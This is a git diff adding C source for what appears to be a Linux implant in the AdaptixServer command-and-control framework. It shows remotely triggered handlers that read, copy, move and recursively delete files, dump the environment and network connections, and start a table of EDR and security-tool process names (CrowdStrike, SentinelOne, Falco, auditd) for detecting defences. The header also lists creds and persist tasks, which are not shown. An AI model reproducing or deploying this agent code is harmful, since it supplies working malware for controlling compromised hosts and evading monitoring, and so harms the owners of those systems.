+ ax_strncpy(out, p + 5, out_size - 1);
+ ax_strcat(out, input + 1);
+ out[out_size - 1] = '\0';
+ return;
+ }
+ while (p < end && *p) p++;
+ p++; // skip null separator
+ }
+ }
+ }
+ // Fallback: /tmp
+ ax_strncpy(out, "/tmp", out_size - 1);
+ ax_strcat(out, input + 1);
+ } else {
+ ax_strncpy(out, input, out_size - 1);
+ }
+ out[out_size - 1] = '\0';
+}
+
+/// Build permission mode string from stat mode
+static void mode_string(unsigned int mode, char *buf) {
+ buf[0] = S_ISDIR(mode) ? 'd' : (S_ISLNK(mode) ? 'l' : '-');
+ buf[1] = (mode & S_IRUSR) ? 'r' : '-';
+ buf[2] = (mode & S_IWUSR) ? 'w' : '-';
+ buf[3] = (mode & S_IXUSR) ? 'x' : '-';
+ buf[4] = (mode & S_IRGRP) ? 'r' : '-';
+ buf[5] = (mode & S_IWGRP) ? 'w' : '-';
+ buf[6] = (mode & S_IXGRP) ? 'x' : '-';
+ buf[7] = (mode & S_IROTH) ? 'r' : '-';
+ buf[8] = (mode & S_IWOTH) ? 'w' : '-';
+ buf[9] = (mode & S_IXOTH) ? 'x' : '-';
+ buf[10] = '\0';
+}
+
+/// Format mtime from epoch seconds into "Mon DD HH:MM" style
+/// Simplified — no timezone support, uses UTC
+static void format_date(unsigned long epoch, char *buf, size_t buf_size) {
+ // Simplified: just show epoch as a number if we can't format properly
+ // For real formatting, would need a mini gmtime implementation
+ // We'll format as "YYYY-MM-DD HH:MM" using a minimal epoch decoder
+
+ // Days since epoch
+ unsigned long secs = epoch;
+ unsigned long mins = secs / 60; secs %= 60;
+ unsigned long hours = mins / 60; mins %= 60;
+ unsigned long days = hours / 24; hours %= 24;
+
+ // Year calculation (simplified — ignores leap seconds)
+ int year = 1970;
+ for (;;) {
+ int yday = ((year % 4 == 0 && year % 100 != 0) || year % 400 == 0) ? 366 : 365;
+ if (days < (unsigned long)yday) break;
+ days -= yday;
+ year++;
+ }
+
+ // Month calculation
+ int leap = ((year % 4 == 0 && year % 100 != 0) || year % 400 == 0);
+ int month_days[] = {31, 28 + leap, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31};
+ static const char *month_names[] = {"Jan","Feb","Mar","Apr","May","Jun",
+ "Jul","Aug","Sep","Oct","Nov","Dec"};
+ int month = 0;
+ while (month < 12 && days >= (unsigned long)month_days[month]) {
+ days -= month_days[month];
+ month++;
+ }
+ int day = (int)days + 1;
+
+ // Format: "Mon DD HH:MM"
+ char tmp[32];
+ int pos = 0;
+ const char *mn = month_names[month < 12 ? month : 0];
+ tmp[pos++] = mn[0]; tmp[pos++] = mn[1]; tmp[pos++] = mn[2];
+ tmp[pos++] = ' ';
+ if (day >= 10) tmp[pos++] = '0' + day / 10;
+ else tmp[pos++] = ' ';
+ tmp[pos++] = '0' + day % 10;
+ tmp[pos++] = ' ';
+ tmp[pos++] = '0' + (int)(hours / 10);
+ tmp[pos++] = '0' + (int)(hours % 10);
+ tmp[pos++] = ':';
+ tmp[pos++] = '0' + (int)(mins / 10);
+ tmp[pos++] = '0' + (int)(mins % 10);
+ tmp[pos] = '\0';
+
+ ax_strncpy(buf, tmp, buf_size - 1);
+ buf[buf_size - 1] = '\0';
+}
+
+/// Convert UID to username by parsing /etc/passwd
+static void uid_to_name(unsigned int uid, char *buf, size_t buf_size) {
+ char passwd[8192];
+ int fd = sys_open("/etc/passwd", O_RDONLY, 0);
+ if (fd < 0) { goto fallback; }
+
+ long n = sys_read(fd, passwd, sizeof(passwd) - 1);
+ sys_close(fd);
+ if (n <= 0) { goto fallback; }
+ passwd[n] = '\0';
+
+ // Format: name:x:uid:gid:...
+ char uid_str[16];
+ ax_itoa((int)uid, uid_str, 10);
+ size_t uid_len = ax_strlen(uid_str);
+
+ char *line = passwd;
+ while (*line) {
+ char *eol = ax_strchr(line, '\n');
+ if (eol) *eol = '\0';
+
+ // Find first ':' (after name)
+ char *p1 = ax_strchr(line, ':');
+ if (!p1) goto next;
+ // Find second ':' (after 'x')
+ char *p2 = ax_strchr(p1 + 1, ':');
+ if (!p2) goto next;
+ // UID starts at p2+1
+ char *uid_start = p2 + 1;
+ char *p3 = ax_strchr(uid_start, ':');
+ if (!p3) goto next;
+
+ size_t field_len = (size_t)(p3 - uid_start);
+ if (field_len == uid_len && ax_memcmp(uid_start, uid_str, uid_len) == 0) {
+ // Found! Copy name (line to p1)
+ size_t name_len = (size_t)(p1 - line);
+ if (name_len >= buf_size) name_len = buf_size - 1;
+ ax_memcpy(buf, line, name_len);
+ buf[name_len] = '\0';
+ return;
+ }
+
+ next:
+ if (eol) line = eol + 1;
+ else break;
+ }
+
+fallback:
+ ax_itoa((int)uid, buf, 10);
+}
+
+/// Convert GID to group name by parsing /etc/group
+static void gid_to_name(unsigned int gid, char *buf, size_t buf_size) {
+ char group[8192];
+ int fd = sys_open("/etc/group", O_RDONLY, 0);
+ if (fd < 0) { goto fallback; }
+
+ long n = sys_read(fd, group, sizeof(group) - 1);
+ sys_close(fd);
+ if (n <= 0) { goto fallback; }
+ group[n] = '\0';
+
+ char gid_str[16];
+ ax_itoa((int)gid, gid_str, 10);
+ size_t gid_len = ax_strlen(gid_str);
+
+ char *line = group;
+ while (*line) {
+ char *eol = ax_strchr(line, '\n');
+ if (eol) *eol = '\0';
+
+ // Format: name:x:gid:members
+ char *p1 = ax_strchr(line, ':');
+ if (!p1) goto next;
+ char *p2 = ax_strchr(p1 + 1, ':');
+ if (!p2) goto next;
+ char *gid_start = p2 + 1;
+ char *p3 = ax_strchr(gid_start, ':');
+ if (!p3) goto next;
+
+ size_t field_len = (size_t)(p3 - gid_start);
+ if (field_len == gid_len && ax_memcmp(gid_start, gid_str, gid_len) == 0) {
+ size_t name_len = (size_t)(p1 - line);
+ if (name_len >= buf_size) name_len = buf_size - 1;
+ ax_memcpy(buf, line, name_len);
+ buf[name_len] = '\0';
+ return;
+ }
+
+ next:
+ if (eol) line = eol + 1;
+ else break;
+ }
+
+fallback:
+ ax_itoa((int)gid, buf, 10);
+}
+
+// ──── Command handlers ────
+
+int task_pwd(mp_writer_t *w)
+{
+ char cwd[4096];
+ if (sys_getcwd(cwd, sizeof(cwd)) <= 0) {
+ write_error(w, "getcwd failed");
+ return 0;
+ }
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "path", cwd);
+ return 0;
+}
+
+int task_cd(const uint8_t *data, uint32_t data_len, mp_writer_t *w)
+{
+ char raw_path[4096] = {0};
+ if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) {
+ write_error(w, "invalid params");
+ return 0;
+ }
+
+ char path[4096];
+ normalize_path(raw_path, path, sizeof(path));
+
+ if (sys_chdir(path) != 0) {
+ write_error(w, "chdir failed");
+ return 0;
+ }
+
+ char cwd[4096];
+ if (sys_getcwd(cwd, sizeof(cwd)) <= 0) {
+ write_error(w, "getcwd failed after chdir");
+ return 0;
+ }
+
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "path", cwd);
+ return 0;
+}
+
+int task_cat(const uint8_t *data, uint32_t data_len, mp_writer_t *w)
+{
+ char raw_path[4096] = {0};
+ if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) {
+ write_error(w, "invalid params");
+ return 0;
+ }
+
+ char path[4096];
+ normalize_path(raw_path, path, sizeof(path));
+
+ // Check file size
+ struct linux_stat st;
+ if (sys_stat(path, &st) != 0) {
+ write_error(w, "file not found");
+ return 0;
+ }
+ if (st.st_size > 1024 * 1024) {
+ write_error(w, "file size exceeds 1 MB (use download)");
+ return 0;
+ }
+
+ int fd = sys_open(path, O_RDONLY, 0);
+ if (fd < 0) {
+ write_error(w, "cannot open file");
+ return 0;
+ }
+
+ uint8_t *content = (uint8_t *)ax_malloc((size_t)st.st_size);
+ if (!content) {
+ sys_close(fd);
+ write_error(w, "malloc failed");
+ return 0;
+ }
+
+ size_t total = 0;
+ while (total < (size_t)st.st_size) {
+ long n = sys_read(fd, content + total, (size_t)st.st_size - total);
+ if (n <= 0) break;
+ total += (size_t)n;
+ }
+ sys_close(fd);
+
+ mp_write_map(w, 2);
+ mp_write_kv_str(w, "path", path);
+ mp_write_kv_bin(w, "content", content, (uint32_t)total);
+
+ ax_free(content);
+ return 0;
+}
+
+int task_ls(const uint8_t *data, uint32_t data_len, mp_writer_t *w)
+{
+ char raw_path[4096] = {0};
+ ax_strcpy(raw_path, ".");
+ parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path));
+
+ char path[4096];
+ normalize_path(raw_path, path, sizeof(path));
+
+ struct linux_stat dir_st;
+ if (sys_stat(path, &dir_st) != 0) {
+ mp_write_map(w, 3);
+ mp_write_kv_bool(w, "result", 0);
+ mp_write_kv_str(w, "status", "path not found");
+ mp_write_kv_str(w, "path", path);
+ return 0;
+ }
+
+ mp_writer_t files_writer;
+ mp_writer_init(&files_writer, 4096);
+
+ if (S_ISDIR(dir_st.st_mode)) {
+ int dirfd = sys_open(path, O_RDONLY, 0);
+ if (dirfd < 0) {
+ mp_write_map(w, 3);
+ mp_write_kv_bool(w, "result", 0);
+ mp_write_kv_str(w, "status", "cannot open directory");
+ mp_write_kv_str(w, "path", path);
+ return 0;
+ }
+
+ // First pass: count entries
+ char dirbuf[4096];
+ uint32_t count = 0;
+ for (;;) {
+ int nread = sys_getdents64(dirfd, dirbuf, sizeof(dirbuf));
+ if (nread <= 0) break;
+ int pos = 0;
+ while (pos < nread) {
+ struct linux_dirent64 *d = (struct linux_dirent64 *)(dirbuf + pos);
+ count++;
+ pos += d->d_reclen;
+ }
+ }
+
+ // Reopen for second pass (no lseek on getdents)
+ sys_close(dirfd);
+ dirfd = sys_open(path, O_RDONLY, 0);
+ if (dirfd < 0) {
+ mp_write_map(w, 3);
+ mp_write_kv_bool(w, "result", 0);
+ mp_write_kv_str(w, "status", "cannot reopen directory");
+ mp_write_kv_str(w, "path", path);
+ return 0;
+ }
+
+ mp_write_array(&files_writer, count);
+
+ for (;;) {
+ int nread = sys_getdents64(dirfd, dirbuf, sizeof(dirbuf));
+ if (nread <= 0) break;
+ int pos = 0;
+ while (pos < nread) {
+ struct linux_dirent64 *d = (struct linux_dirent64 *)(dirbuf + pos);
+
+ // Build full path for stat
+ char fullpath[4096];
+ ax_strncpy(fullpath, path, sizeof(fullpath) - 1);
+ size_t plen = ax_strlen(fullpath);
+ if (plen > 0 && fullpath[plen - 1] != '/') {
+ fullpath[plen] = '/';
+ fullpath[plen + 1] = '\0';
+ }
+ ax_strcat(fullpath, d->d_name);
+
+ struct linux_stat fst;
+ ax_memset(&fst, 0, sizeof(fst));
+ sys_stat(fullpath, &fst);
+
+ char mode[11];
+ mode_string(fst.st_mode, mode);
+
+ char user[64], group[64];
+ uid_to_name(fst.st_uid, user, sizeof(user));
+ gid_to_name(fst.st_gid, group, sizeof(group));
+
+ char date[32];
+ format_date(fst.st_mtime_sec, date, sizeof(date));
+
+ mp_write_map(&files_writer, 8);
+ mp_write_kv_str(&files_writer, "mode", mode);
+ mp_write_kv_int(&files_writer, "nlink", (int64_t)fst.st_nlink);
+ mp_write_kv_str(&files_writer, "user", user);
+ mp_write_kv_str(&files_writer, "group", group);
+ mp_write_kv_int(&files_writer, "size", (int64_t)fst.st_size);
+ mp_write_kv_str(&files_writer, "date", date);
+ mp_write_kv_str(&files_writer, "filename", d->d_name);
+ mp_write_kv_bool(&files_writer, "is_dir", S_ISDIR(fst.st_mode) ? 1 : 0);
+
+ pos += d->d_reclen;
+ }
+ }
+ sys_close(dirfd);
+ } else {
+ // Single file
+ mp_write_array(&files_writer, 1);
+
+ char mode[11];
+ mode_string(dir_st.st_mode, mode);
+
+ char user[64], group[64];
+ uid_to_name(dir_st.st_uid, user, sizeof(user));
+ gid_to_name(dir_st.st_gid, group, sizeof(group));
+
+ char date[32];
+ format_date(dir_st.st_mtime_sec, date, sizeof(date));
+
+ const char *basename = raw_path;
+ for (const char *p = raw_path; *p; p++) {
+ if (*p == '/') basename = p + 1;
+ }
+
+ mp_write_map(&files_writer, 8);
+ mp_write_kv_str(&files_writer, "mode", mode);
+ mp_write_kv_int(&files_writer, "nlink", (int64_t)dir_st.st_nlink);
+ mp_write_kv_str(&files_writer, "user", user);
+ mp_write_kv_str(&files_writer, "group", group);
+ mp_write_kv_int(&files_writer, "size", (int64_t)dir_st.st_size);
+ mp_write_kv_str(&files_writer, "date", date);
+ mp_write_kv_str(&files_writer, "filename", basename);
+ mp_write_kv_bool(&files_writer, "is_dir", 0);
+ }
+
+ // Ensure display path ends with / for directories
+ char display_path[4096];
+ ax_strncpy(display_path, path, sizeof(display_path) - 2);
+ size_t dlen = ax_strlen(display_path);
+ if (dlen > 0 && display_path[dlen - 1] != '/' && S_ISDIR(dir_st.st_mode)) {
+ display_path[dlen] = '/';
+ display_path[dlen + 1] = '\0';
+ }
+
+ mp_write_map(w, 4);
+ mp_write_kv_bool(w, "result", 1);
+ mp_write_kv_str(w, "status", "");
+ mp_write_kv_str(w, "path", display_path);
+ mp_write_kv_bin(w, "files", files_writer.buf.data, (uint32_t)files_writer.buf.len);
+
+ mp_writer_free(&files_writer);
+ return 0;
+}
+
+int task_cp(const uint8_t *data, uint32_t data_len, mp_writer_t *w)
+{
+ char raw_src[4096] = {0}, raw_dst[4096] = {0};
+ if (parse_two_strings(data, data_len, "src", raw_src, sizeof(raw_src),
+ "dst", raw_dst, sizeof(raw_dst)) != 0) {
+ write_error(w, "invalid params");
+ return 0;
+ }
+
+ char src[4096], dst[4096];
+ normalize_path(raw_src, src, sizeof(src));
+ normalize_path(raw_dst, dst, sizeof(dst));
+
+ // Copy file via syscalls
+ int sfd = sys_open(src, O_RDONLY, 0);
+ if (sfd < 0) {
+ write_error(w, "cannot open source");
+ return 0;
+ }
+
+ struct linux_stat st;
+ sys_fstat(sfd, &st);
+
+ int dfd = sys_open(dst, O_WRONLY | O_CREAT | O_TRUNC, st.st_mode & 0777);
+ if (dfd < 0) {
+ sys_close(sfd);
+ write_error(w, "cannot create destination");
+ return 0;
+ }
+
+ char buf[8192];
+ for (;;) {
+ long n = sys_read(sfd, buf, sizeof(buf));
+ if (n <= 0) break;
+ long written = 0;
+ while (written < n) {
+ long w2 = sys_write(dfd, buf + written, (size_t)(n - written));
+ if (w2 <= 0) break;
+ written += w2;
+ }
+ }
+ sys_close(sfd);
+ sys_close(dfd);
+
+ mp_write_nil(w);
+ return 0;
+}
+
+int task_mv(const uint8_t *data, uint32_t data_len, mp_writer_t *w)
+{
+ char raw_src[4096] = {0}, raw_dst[4096] = {0};
+ if (parse_two_strings(data, data_len, "src", raw_src, sizeof(raw_src),
+ "dst", raw_dst, sizeof(raw_dst)) != 0) {
+ write_error(w, "invalid params");
+ return 0;
+ }
+
+ char src[4096], dst[4096];
+ normalize_path(raw_src, src, sizeof(src));
+ normalize_path(raw_dst, dst, sizeof(dst));
+
+ if (sys_rename(src, dst) != 0) {
+ write_error(w, "rename failed");
+ return 0;
+ }
+
+ mp_write_nil(w);
+ return 0;
+}
+
+int task_mkdir(const uint8_t *data, uint32_t data_len, mp_writer_t *w)
+{
+ char raw_path[4096] = {0};
+ if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) {
+ write_error(w, "invalid params");
+ return 0;
+ }
+
+ char path[4096];
+ normalize_path(raw_path, path, sizeof(path));
+
+ // Create with parents (simplified mkdirall)
+ char tmp[4096];
+ ax_strncpy(tmp, path, sizeof(tmp) - 1);
+ for (char *p = tmp + 1; *p; p++) {
+ if (*p == '/') {
+ *p = '\0';
+ sys_mkdir(tmp, 0755);
+ *p = '/';
+ }
+ }
+ if (sys_mkdir(tmp, 0755) != 0) {
+ // Check if it already exists as dir
+ struct linux_stat st;
+ if (sys_stat(tmp, &st) != 0 || !S_ISDIR(st.st_mode)) {
+ write_error(w, "mkdir failed");
+ return 0;
+ }
+ }
+
+ mp_write_nil(w);
+ return 0;
+}
+
+int task_rm(const uint8_t *data, uint32_t data_len, mp_writer_t *w)
+{
+ char raw_path[4096] = {0};
+ if (parse_string_param(data, data_len, "path", raw_path, sizeof(raw_path)) != 0) {
+ write_error(w, "invalid params");
+ return 0;
+ }
+
+ char path[4096];
+ normalize_path(raw_path, path, sizeof(path));
+
+ struct linux_stat st;
+ if (sys_stat(path, &st) != 0) {
+ write_error(w, "path not found");
+ return 0;
+ }
+
+ if (S_ISDIR(st.st_mode)) {
+ // Recursive rm via fork+execve("/bin/rm", ["-rf", path])
+ int pid = sys_fork();
+ if (pid == 0) {
+ // Child — execve /bin/rm -rf
+ char *argv[] = { "/bin/rm", "-rf", path, (char *)0 };
+ char *envp[] = { (char *)0 };
+ sys_execve("/bin/rm", argv, envp);
+ sys_exit_group(1);
+ } else if (pid > 0) {
+ int status = 0;
+ sys_wait4(pid, &status, 0, (void *)0);
+ if ((status & 0xff00) >> 8 != 0) {
+ write_error(w, "rm -rf failed");
+ return 0;
+ }
+ } else {
+ write_error(w, "fork failed");
+ return 0;
+ }
+ } else {
+ if (sys_unlink(path) != 0) {
+ write_error(w, "unlink failed");
+ return 0;
+ }
+ }
+
+ mp_write_nil(w);
+ return 0;
+}
+
+int task_zip(const uint8_t *data, uint32_t data_len, mp_writer_t *w)
+{
+ // zip not available on Linux via simple binary — stub for now
+ (void)data;
+ (void)data_len;
+ write_error(w, "zip not implemented");
+ return 0;
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_fs.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_fs.h
new file mode 100644
index 000000000..e628af6a2
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_fs.h
@@ -0,0 +1,20 @@
+#ifndef TASKS_FS_H
+#define TASKS_FS_H
+
+#include "msgpack.h"
+#include
+
+/// Filesystem command handlers
+/// pwd, cd, cat, ls, cp, mv, mkdir, rm, zip
+
+int task_pwd(mp_writer_t *w);
+int task_cd(const uint8_t *data, uint32_t data_len, mp_writer_t *w);
+int task_cat(const uint8_t *data, uint32_t data_len, mp_writer_t *w);
+int task_ls(const uint8_t *data, uint32_t data_len, mp_writer_t *w);
+int task_cp(const uint8_t *data, uint32_t data_len, mp_writer_t *w);
+int task_mv(const uint8_t *data, uint32_t data_len, mp_writer_t *w);
+int task_mkdir(const uint8_t *data, uint32_t data_len, mp_writer_t *w);
+int task_rm(const uint8_t *data, uint32_t data_len, mp_writer_t *w);
+int task_zip(const uint8_t *data, uint32_t data_len, mp_writer_t *w);
+
+#endif /* TASKS_FS_H */
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_linux.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_linux.c
new file mode 100644
index 000000000..ee9a6ae32
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_linux.c
@@ -0,0 +1,1329 @@
+/// tasks_linux.c -- Linux-specific commands for the native agent
+/// env, netstat, mounts, edr, creds, persist, container
+/// All ops via direct syscalls — zero libc dependency.
+
+#include "tasks_linux.h"
+#include "crt.h"
+#include "types.h"
+
+#ifdef ARCH_X86_64
+#include "syscalls_x64.h"
+#endif
+#ifdef ARCH_AARCH64
+#include "syscalls_aarch64.h"
+#endif
+
+// ── Constants ──
+
+#define O_RDONLY 0
+#define O_WRONLY 1
+#define O_RDWR 2
+#define O_CREAT 0100
+#define O_TRUNC 01000
+#define O_APPEND 02000
+
+// ── Helpers ──
+
+static void write_error(mp_writer_t *w, const char *msg) {
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "error", msg);
+}
+
+static void write_output(mp_writer_t *w, const char *text) {
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "output", text);
+}
+
+/// Read a file into a stack buffer, return bytes read (or -1)
+static long read_file(const char *path, char *buf, size_t buf_size) {
+ int fd = sys_open(path, O_RDONLY, 0);
+ if (fd < 0) return -1;
+ long total = 0;
+ while ((size_t)total < buf_size - 1) {
+ long n = sys_read(fd, buf + total, buf_size - 1 - (size_t)total);
+ if (n <= 0) break;
+ total += n;
+ }
+ sys_close(fd);
+ buf[total] = '\0';
+ return total;
+}
+
+/// Check if a file exists
+static int file_exists(const char *path) {
+ int fd = sys_open(path, O_RDONLY, 0);
+ if (fd < 0) return 0;
+ sys_close(fd);
+ return 1;
+}
+
+/// Append string to dynamic buffer (realloc-based)
+typedef struct {
+ char *data;
+ size_t len;
+ size_t cap;
+} strbuf_t;
+
+static void sb_init(strbuf_t *sb) {
+ sb->cap = 4096;
+ sb->data = (char *)ax_malloc(sb->cap);
+ sb->data[0] = '\0';
+ sb->len = 0;
+}
+
+static void sb_append(strbuf_t *sb, const char *s) {
+ size_t slen = ax_strlen(s);
+ while (sb->len + slen + 1 > sb->cap) {
+ sb->cap *= 2;
+ sb->data = (char *)ax_realloc(sb->data, sb->cap);
+ }
+ ax_memcpy(sb->data + sb->len, s, slen);
+ sb->len += slen;
+ sb->data[sb->len] = '\0';
+}
+
+static void sb_free(strbuf_t *sb) {
+ if (sb->data) ax_free(sb->data);
+ sb->data = (char *)0;
+ sb->len = 0;
+ sb->cap = 0;
+}
+
+/// Parse a single string field from msgpack params
+static int parse_string_field(const uint8_t *data, uint32_t data_len,
+ const char *key_name, char *out, size_t out_size) {
+ mp_reader_t r;
+ mp_reader_init(&r, data, data_len);
+ uint32_t map_count;
+ if (mp_read_map(&r, &map_count) != 0) return -1;
+
+ size_t kname_len = ax_strlen(key_name);
+ for (uint32_t i = 0; i < map_count; i++) {
+ const char *key; uint32_t klen;
+ if (mp_read_str(&r, &key, &klen) != 0) return -1;
+ if (klen == kname_len && ax_memcmp(key, key_name, klen) == 0) {
+ const char *val; uint32_t vlen;
+ if (mp_read_str(&r, &val, &vlen) != 0) return -1;
+ if (vlen >= out_size) vlen = (uint32_t)(out_size - 1);
+ ax_memcpy(out, val, vlen);
+ out[vlen] = '\0';
+ return 0;
+ }
+ mp_skip(&r);
+ }
+ return -1;
+}
+
+// ──── ENV ────
+
+int task_env(mp_writer_t *w)
+{
+ char buf[16384];
+ long n = read_file("/proc/self/environ", buf, sizeof(buf));
+ if (n <= 0) {
+ write_error(w, "cannot read /proc/self/environ");
+ return 0;
+ }
+
+ // Replace null separators with newlines
+ for (long i = 0; i < n; i++) {
+ if (buf[i] == '\0') buf[i] = '\n';
+ }
+ buf[n] = '\0';
+
+ write_output(w, buf);
+ return 0;
+}
+
+// ──── NETSTAT ────
+
+/// Parse hex IP + port from /proc/net/tcp format
+/// Input: "0100007F:1F90" → "127.0.0.1:8080"
+static void parse_hex_addr(const char *hex, char *out, size_t out_size) {
+ // Parse IP (little-endian hex) and port
+ unsigned long ip = 0;
+ unsigned int port = 0;
+
+ // IP is 8 hex chars
+ const char *p = hex;
+ for (int i = 0; i < 8 && *p; i++, p++) {
+ ip = ip * 16;
+ if (*p >= '0' && *p <= '9') ip += (unsigned long)(*p - '0');
+ else if (*p >= 'A' && *p <= 'F') ip += (unsigned long)(*p - 'A' + 10);
+ else if (*p >= 'a' && *p <= 'f') ip += (unsigned long)(*p - 'a' + 10);
+ }
+ if (*p == ':') p++;
+ // Port is 4 hex chars
+ for (int i = 0; i < 4 && *p; i++, p++) {
+ port = port * 16;
+ if (*p >= '0' && *p <= '9') port += (unsigned int)(*p - '0');
+ else if (*p >= 'A' && *p <= 'F') port += (unsigned int)(*p - 'A' + 10);
+ else if (*p >= 'a' && *p <= 'f') port += (unsigned int)(*p - 'a' + 10);
+ }
+
+ // IP is stored little-endian on x86, so bytes are reversed
+ unsigned char b1 = (unsigned char)(ip & 0xff);
+ unsigned char b2 = (unsigned char)((ip >> 8) & 0xff);
+ unsigned char b3 = (unsigned char)((ip >> 16) & 0xff);
+ unsigned char b4 = (unsigned char)((ip >> 24) & 0xff);
+
+ char tmp[64];
+ int pos = 0;
+ char num[8];
+
+ ax_itoa(b1, num, 10); for (int i = 0; num[i]; i++) tmp[pos++] = num[i];
+ tmp[pos++] = '.';
+ ax_itoa(b2, num, 10); for (int i = 0; num[i]; i++) tmp[pos++] = num[i];
+ tmp[pos++] = '.';
+ ax_itoa(b3, num, 10); for (int i = 0; num[i]; i++) tmp[pos++] = num[i];
+ tmp[pos++] = '.';
+ ax_itoa(b4, num, 10); for (int i = 0; num[i]; i++) tmp[pos++] = num[i];
+ tmp[pos++] = ':';
+ ax_itoa((int)port, num, 10); for (int i = 0; num[i]; i++) tmp[pos++] = num[i];
+ tmp[pos] = '\0';
+
+ ax_strncpy(out, tmp, out_size - 1);
+ out[out_size - 1] = '\0';
+}
+
+static const char *tcp_state_name(int state) {
+ switch (state) {
+ case 1: return "ESTABLISHED";
+ case 2: return "SYN_SENT";
+ case 3: return "SYN_RECV";
+ case 4: return "FIN_WAIT1";
+ case 5: return "FIN_WAIT2";
+ case 6: return "TIME_WAIT";
+ case 7: return "CLOSE";
+ case 8: return "CLOSE_WAIT";
+ case 9: return "LAST_ACK";
+ case 10: return "LISTEN";
+ case 11: return "CLOSING";
+ default: return "UNKNOWN";
+ }
+}
+
+static void parse_net_file(const char *path, const char *proto, strbuf_t *sb) {
+ char buf[32768];
+ long n = read_file(path, buf, sizeof(buf));
+ if (n <= 0) return;
+
+ // Skip header line
+ char *line = buf;
+ char *eol = ax_strchr(line, '\n');
+ if (!eol) return;
+ line = eol + 1;
+
+ while (*line) {
+ eol = ax_strchr(line, '\n');
+ if (eol) *eol = '\0';
+
+ // Format: " sl local_address rem_address st ..."
+ // Skip leading spaces and sl field
+ char *p = line;
+ while (*p == ' ') p++;
+ while (*p && *p != ' ' && *p != ':') p++; // skip sl number
+ if (*p == ':') p++;
+ while (*p == ' ') p++;
+
+ // local_address
+ char local_hex[32] = {0};
+ int li = 0;
+ while (*p && *p != ' ' && li < 31) local_hex[li++] = *p++;
+ while (*p == ' ') p++;
+
+ // remote_address
+ char remote_hex[32] = {0};
+ int ri = 0;
+ while (*p && *p != ' ' && ri < 31) remote_hex[ri++] = *p++;
+ while (*p == ' ') p++;
+
+ // state (hex)
+ int state = 0;
+ while (*p && *p != ' ') {
+ state = state * 16;
+ if (*p >= '0' && *p <= '9') state += *p - '0';
+ else if (*p >= 'A' && *p <= 'F') state += *p - 'A' + 10;
+ else if (*p >= 'a' && *p <= 'f') state += *p - 'a' + 10;
+ p++;
+ }
+
+ char local_str[64], remote_str[64];
+ parse_hex_addr(local_hex, local_str, sizeof(local_str));
+ parse_hex_addr(remote_hex, remote_str, sizeof(remote_str));
+
+ // Format output line
+ char outline[256];
+ // "proto local remote state"
+ ax_strcpy(outline, proto);
+ // Pad proto to 6 chars
+ size_t plen = ax_strlen(outline);
+ while (plen < 6) { outline[plen++] = ' '; outline[plen] = '\0'; }
+
+ ax_strcat(outline, local_str);
+ plen = ax_strlen(outline);
+ while (plen < 30) { outline[plen++] = ' '; outline[plen] = '\0'; }
+
+ ax_strcat(outline, remote_str);
+ plen = ax_strlen(outline);
+ while (plen < 54) { outline[plen++] = ' '; outline[plen] = '\0'; }
+
+ ax_strcat(outline, tcp_state_name(state));
+ ax_strcat(outline, "\n");
+ sb_append(sb, outline);
+
+ if (eol) line = eol + 1;
+ else break;
+ }
+}
+
+int task_netstat(mp_writer_t *w)
+{
+ strbuf_t sb;
+ sb_init(&sb);
+
+ sb_append(&sb, "Proto Local Address Foreign Address State\n");
+ sb_append(&sb, "----- ---------------------- ---------------------- -----------\n");
+
+ parse_net_file("/proc/net/tcp", "tcp", &sb);
+ parse_net_file("/proc/net/tcp6", "tcp6", &sb);
+ parse_net_file("/proc/net/udp", "udp", &sb);
+ parse_net_file("/proc/net/udp6", "udp6", &sb);
+
+ write_output(w, sb.data);
+ sb_free(&sb);
+ return 0;
+}
+
+// ──── MOUNTS ────
+
+int task_mounts(mp_writer_t *w)
+{
+ char buf[16384];
+ long n = read_file("/proc/self/mountinfo", buf, sizeof(buf));
+ if (n <= 0) {
+ // Fallback to /proc/mounts
+ n = read_file("/proc/mounts", buf, sizeof(buf));
+ if (n <= 0) {
+ write_error(w, "cannot read mount info");
+ return 0;
+ }
+ }
+
+ write_output(w, buf);
+ return 0;
+}
+
+// ──── EDR DETECTION ────
+
+typedef struct {
+ const char *proc_name;
+ const char *product;
+} edr_sig_t;
+
+int task_edr(mp_writer_t *w)
+{
+ strbuf_t sb;
+ sb_init(&sb);
+
+ // Check processes via /proc
+ // We look for known EDR/security process names
+ static const struct { const char *name; const char *product; } edr_procs[] = {
+ // CrowdStrike
+ {"falcon-sensor", "CrowdStrike Falcon"},
+ {"falcond", "CrowdStrike Falcon"},
+ {"falconctl", "CrowdStrike Falcon"},
+ // Elastic
+ {"elastic-agent", "Elastic Security"},
+ {"elastic-endpoint", "Elastic Endpoint"},
+ {"filebeat", "Elastic Filebeat"},
+ {"auditbeat", "Elastic Auditbeat"},
+ // Wazuh
+ {"wazuh-agentd", "Wazuh"},
+ {"ossec-agentd", "Wazuh/OSSEC"},
+ {"wazuh-modulesd", "Wazuh"},
+ // SentinelOne
+ {"SentinelAgent", "SentinelOne"},
+ {"sentinelone", "SentinelOne"},
+ // Sysdig / Falco
+ {"falco", "Sysdig Falco"},
+ {"sysdig", "Sysdig"},
+ {"dragent", "Sysdig Agent"},
+ // Lacework
+ {"datacollector", "Lacework"},
+ // OSSEC
+ {"ossec-logcollector","OSSEC"},
+ {"ossec-syscheckd", "OSSEC"},
+ // Aqua
+ {"aqua-enforcer", "Aqua Security"},
+ // Tetragon (Cilium eBPF)
+ {"tetragon", "Cilium Tetragon"},
+ // Auditd
+ {"auditd", "Linux Audit"},
+ // Tripwire
+ {"tripwire", "Tripwire"},
+ // ClamAV
+ {"clamd", "ClamAV"},
+ {"clamscan", "ClamAV"},
+ };
